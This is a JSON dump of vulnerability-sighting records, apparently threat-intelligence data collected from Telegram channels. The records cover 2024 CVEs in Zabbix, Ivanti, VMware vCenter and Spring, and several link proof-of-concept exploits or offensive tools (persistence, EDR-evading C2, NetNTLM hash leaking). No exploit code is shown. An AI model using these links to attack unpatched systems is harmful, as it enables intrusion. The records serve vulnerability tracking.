"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "seen", "source": "Telegram/3su5uDz14M7INJHZLgm2L2kxPQxiccAFuWTjdZAgGnOnqwk", "content": "", "creation_timestamp": "2024-05-20T09:56:05.000000Z"}, {"uuid": "0ac67dba-2665-4f61-b6e4-eb926742abe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "Telegram/H8WATj5tERibB9N2ZZ17mu4oa5qTyLkrjFd3d65eW_1lU34", "content": "", "creation_timestamp": "2024-05-20T09:50:25.000000Z"}, {"uuid": "7a8fcd8e-6af0-42f3-9737-2600d748a29c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "seen", "source": "Telegram/QOCAQVHksyQqDrHjkYshikk46lawFuEFcaS9TVMMbBGBipo", "content": "", "creation_timestamp": "2024-05-20T09:47:13.000000Z"}, {"uuid": "42b5203b-89e1-4c70-9882-dd614a300a9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "Telegram/2ZJRl6kj35bpV8cE0y3_laNFG0_cPupuWOOpZwB2O4Aai5A", "content": "", "creation_timestamp": "2024-03-24T06:43:04.000000Z"}, {"uuid": "973203d0-9222-482f-bcaf-754e13e5e3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7166", "content": "Tools - Hackers Factory \n\nOffensive_security\n\n1. PANIX - Linux Persistence Tool\ngithub.com/Aegrah/PANIX\n\n2. RedGuard - C2 front flow control tool, can avoid Blue Teams, AVs, EDRs check\n\ngithub.com/wikiZ/RedGuard\n\nThis is a privilege escalation tool (fixed with CVE-2024-38100 in KB5040434) that allows us to leak a user's NetNTLM hash from any session on the computer, even if we are working from a low-privileged user.\n\nhttps://github.com/MzHmO/LeakedWallpaper\n\nLeaked-Credentials\n\nhttps://github.com/h4x0r-dz/Leaked-Credentials\n\nCVE-2024-22243: URL-parsing vulnerability in Java Spring Framework\n\nhttps://github.com/SeanPesce/CVE-2024-22243\n\nTool for monitor Active Directory changes in real time without getting all objects. Instead of this it use replication metadata and Update Sequence Number (USN) to filter current properties of objects.\n\nhttps://github.com/DrunkF0x/ADSpider/tree/main\n\nTorBot\n\nhttps://github.com/DedSecInside/TorBot\n\nCheck for the existence of an email on Google platforms\n\nhttps://github.com/ranlo/check-google-user\n\nADExplorerSnapshot-rs\n\nhttps://github.com/t94j0/adexplorersnapshot-rs\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-05T06:19:41.000000Z"}, {"uuid": "ebcad781-984f-4857-a144-d5b867a01b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1372", "content": "", "creation_timestamp": "2024-03-19T16:04:26.000000Z"}, {"uuid": "449247be-4582-454b-a637-2f8db6da1cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/cybersecs/2842", "content": "https://www.zabbix.com/security_advisories\n\n[ Time Based SQL Injection in Zabbix Server Audit Log ]\n\nCVE-2024-22120\n\n\u26d4\ufe0f CRITICAL \u26d4\ufe0f\n\nThis vulnerability could lead to privilege escalation from user to admin. In some cases, SQL injection leads to RCE.\n\nAffected version/s:\n6.0.0-6.0.27\n6.4.0-6.4.12\n7.0.0alpha1-7.0.0beta1\n\nPoC: https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py", "creation_timestamp": "2024-05-21T15:56:08.000000Z"}, {"uuid": "2c6b27e4-ec3b-4b43-b3d8-d4935c62bf01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/zer0day1ab/31", "content": "CVE-2024-37081: VMware vCenter Server Multiple LPE\n\nCVE-2024-22274: VMware vCenter Server RCE\n\n#exploit #pentest #redteam", "creation_timestamp": "2024-07-07T20:50:43.000000Z"}, {"uuid": "9c4f1907-81f5-42a2-8675-e3b4392c730c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22197", "type": "seen", "source": "https://t.me/cyberden_team/493", "content": "\ud83d\udca5\u0421\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 CVE \u0437\u0430 \u044f\u043d\u0432\u0430\u0440\u044c 2024 \u0433\u043e\u0434\u0430\n\n\u0412 \u044d\u0442\u043e\u0439 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 \u044f\u043d\u0432\u0430\u0440\u044c 2024 \u0433\u043e\u0434\u0430:\n\nCVE-2024-23897\nCVE-2024-0402 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.9\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0204 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0230 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a02.4\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-20253 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.9\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-20272 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a07.3\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-21591 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0200 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0507 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-21737 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.1\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-21672 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-21673 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-21674 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a07.5\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-22197 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-22198 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.", "creation_timestamp": "2024-02-12T11:59:05.000000Z"}, {"uuid": "5c991995-7452-4369-9d4f-ac7792c6e331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22198", "type": "seen", "source": "https://t.me/cyberden_team/493", "content": "\ud83d\udca5\u0421\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 CVE \u0437\u0430 \u044f\u043d\u0432\u0430\u0440\u044c 2024 \u0433\u043e\u0434\u0430\n\n\u0412 \u044d\u0442\u043e\u0439 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 \u044f\u043d\u0432\u0430\u0440\u044c 2024 \u0433\u043e\u0434\u0430:\n\nCVE-2024-23897\nCVE-2024-0402 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.9\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0204 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0230 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a02.4\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-20253 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.9\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-20272 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a07.3\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-21591 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0200 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-0507 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-21737 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a09.1\u00a0\u0431\u0430\u043b\u043b\u0430.\nCVE-2024-21672 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-21673 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-21674 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a07.5\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-22197 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.\nCVE-2024-22198 - \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u00a0\u0448\u043a\u0430\u043b\u0435 CVSS 3.1 \u2014\u00a08.8\u00a0\u0431\u0430\u043b\u043b\u043e\u0432.", "creation_timestamp": "2024-02-12T11:59:05.000000Z"}, {"uuid": "cd6d63b9-225e-4244-b556-cc3175420354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/cybersecs/2934", "content": "Authenticated RCE in VMWare vCenter https://github.com/mbadanoiu/CVE-2024-22274", "creation_timestamp": "2024-07-10T00:23:13.000000Z"}, {"uuid": "0a538392-fb64-4984-a45f-4cec4e64e211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/1136", "content": "CVE-2024-22120: \u062a\u0632\u0631\u06cc\u0642 SQL \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0632\u0645\u0627\u0646 \u062f\u0631 Zabbix Server Audit Log\n\n\u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0648 \u0631\u0641\u0639 \u0634\u062f\u0647:\n- 6.0.0 - 6.0.27 / 6.0.28rc1\n- 6.4.0 - 6.4.12 / 6.4.13rc1\n- 7.0.0alpha1 - 7.0.0beta1 / 7.0.0beta2\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u06a9\u0627\u0646 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0647\u0631 \u0645\u0642\u062f\u0627\u0631\u06cc \u0627\u0632 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0627\u0644\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0631\u062a\u0642\u0627\u0621 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0628\u0647 \u0645\u062f\u06cc\u0631 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0628\u0631\u062e\u06cc \u0645\u0648\u0627\u0631\u062f\u060c \u062a\u0632\u0631\u06cc\u0642 SQL \u0645\u0646\u062c\u0631 \u0628\u0647 RCE (\u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631) \u0645\u06cc\u200c\u0634\u0648\u062f.\n\nPoC: https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py\n\nCVE-2024-22120: Time Based SQL Injection in Zabbix Server Audit Log\n\nAffected and fixed version/s: \n* 6.0.0 - 6.0.27 / 6.0.28rc1\n* 6.4.0 - 6.4.12 / 6.4.13rc1\n* 7.0.0alpha1 - 7.0.0beta1 / 7.0.0beta2\n\nAllows to dump any values from database. As an example of exploit above allows privilege escalation from user to admin. In some cases, SQL injection leads to RCE.\n\nPoC: https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py", "creation_timestamp": "2024-05-22T12:35:57.000000Z"}, {"uuid": "0355c2d2-78f8-4334-a0aa-2a5e27528749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22053", "type": "seen", "source": "Telegram/x9JS_41Sa9eM8fwvN1jTJaAVhqN0YoMCl-PIDyzwY8LMJZQ", "content": "", "creation_timestamp": "2024-06-27T09:11:07.000000Z"}, {"uuid": "6405cde8-3fe0-408e-adfc-abfe4c722165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22052", "type": "seen", "source": "Telegram/x9JS_41Sa9eM8fwvN1jTJaAVhqN0YoMCl-PIDyzwY8LMJZQ", "content": "", "creation_timestamp": "2024-06-27T09:11:07.000000Z"}, {"uuid": "ee478a92-e651-4b5a-af29-698c09a013bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/true_secator/5397", "content": "\u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c, \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0437\u043e\u043d \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Ivanti 0-day \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0434\u0430\u043b\u0441\u044f \u0432\u0435\u0441\u044c\u043c\u0430 \u043e\u0441\u0442\u0440\u043e\u0441\u044e\u0436\u0435\u0442\u043d\u044b\u043c.\n\n\u0412 Connect Secure, Policy Secure \u0438 ZTA \u0431\u044b\u043b\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-22024 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XXE (XML eXternal Entities) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML \u0448\u043b\u044e\u0437\u043e\u0432.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u043d\u0430 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438\u043b\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e Ivanti \u043e\u0431\u043d\u0430\u0434\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u0441\u043e\u043e\u0431\u0449\u0430\u044f \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2024-22024. \u041d\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u044d\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.\n\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u043c \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Shadowserver, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 20 000 VPN-\u0448\u043b\u044e\u0437\u043e\u0432 ICS \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 (\u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan, \u0431\u043e\u043b\u0435\u0435 26 000). \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0441\u0442\u0438\u0445\u0430\u0435\u0442 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0431\u044b\u043b\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043e\u00a0\u043f\u043e\u0447\u0442\u0438 250 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u0438\u043d\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430, \u043a\u0430\u043a \u043f\u043e\u043f\u0440\u043e\u0441\u0442\u0443 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Ivanti VPN \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0432\u043d\u044f\u0442\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u043f\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443 \u0432\u0441\u0435\u0445 \u043d\u0430\u043a\u043e\u043f\u0438\u0432\u0448\u0438\u0445\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c.", "creation_timestamp": "2024-08-06T17:54:54.000000Z"}, {"uuid": "ec156e74-203a-43d0-ba0f-203c552fb63e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22240", "type": "seen", "source": "https://t.me/true_secator/5391", "content": "\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 Cisco \u0438 Fortinet, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u00ab\u0442\u0440\u043e\u0439\u043a\u0443\u00bb \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware, \u043a\u043e\u0442\u043e\u0440\u0430\u044f 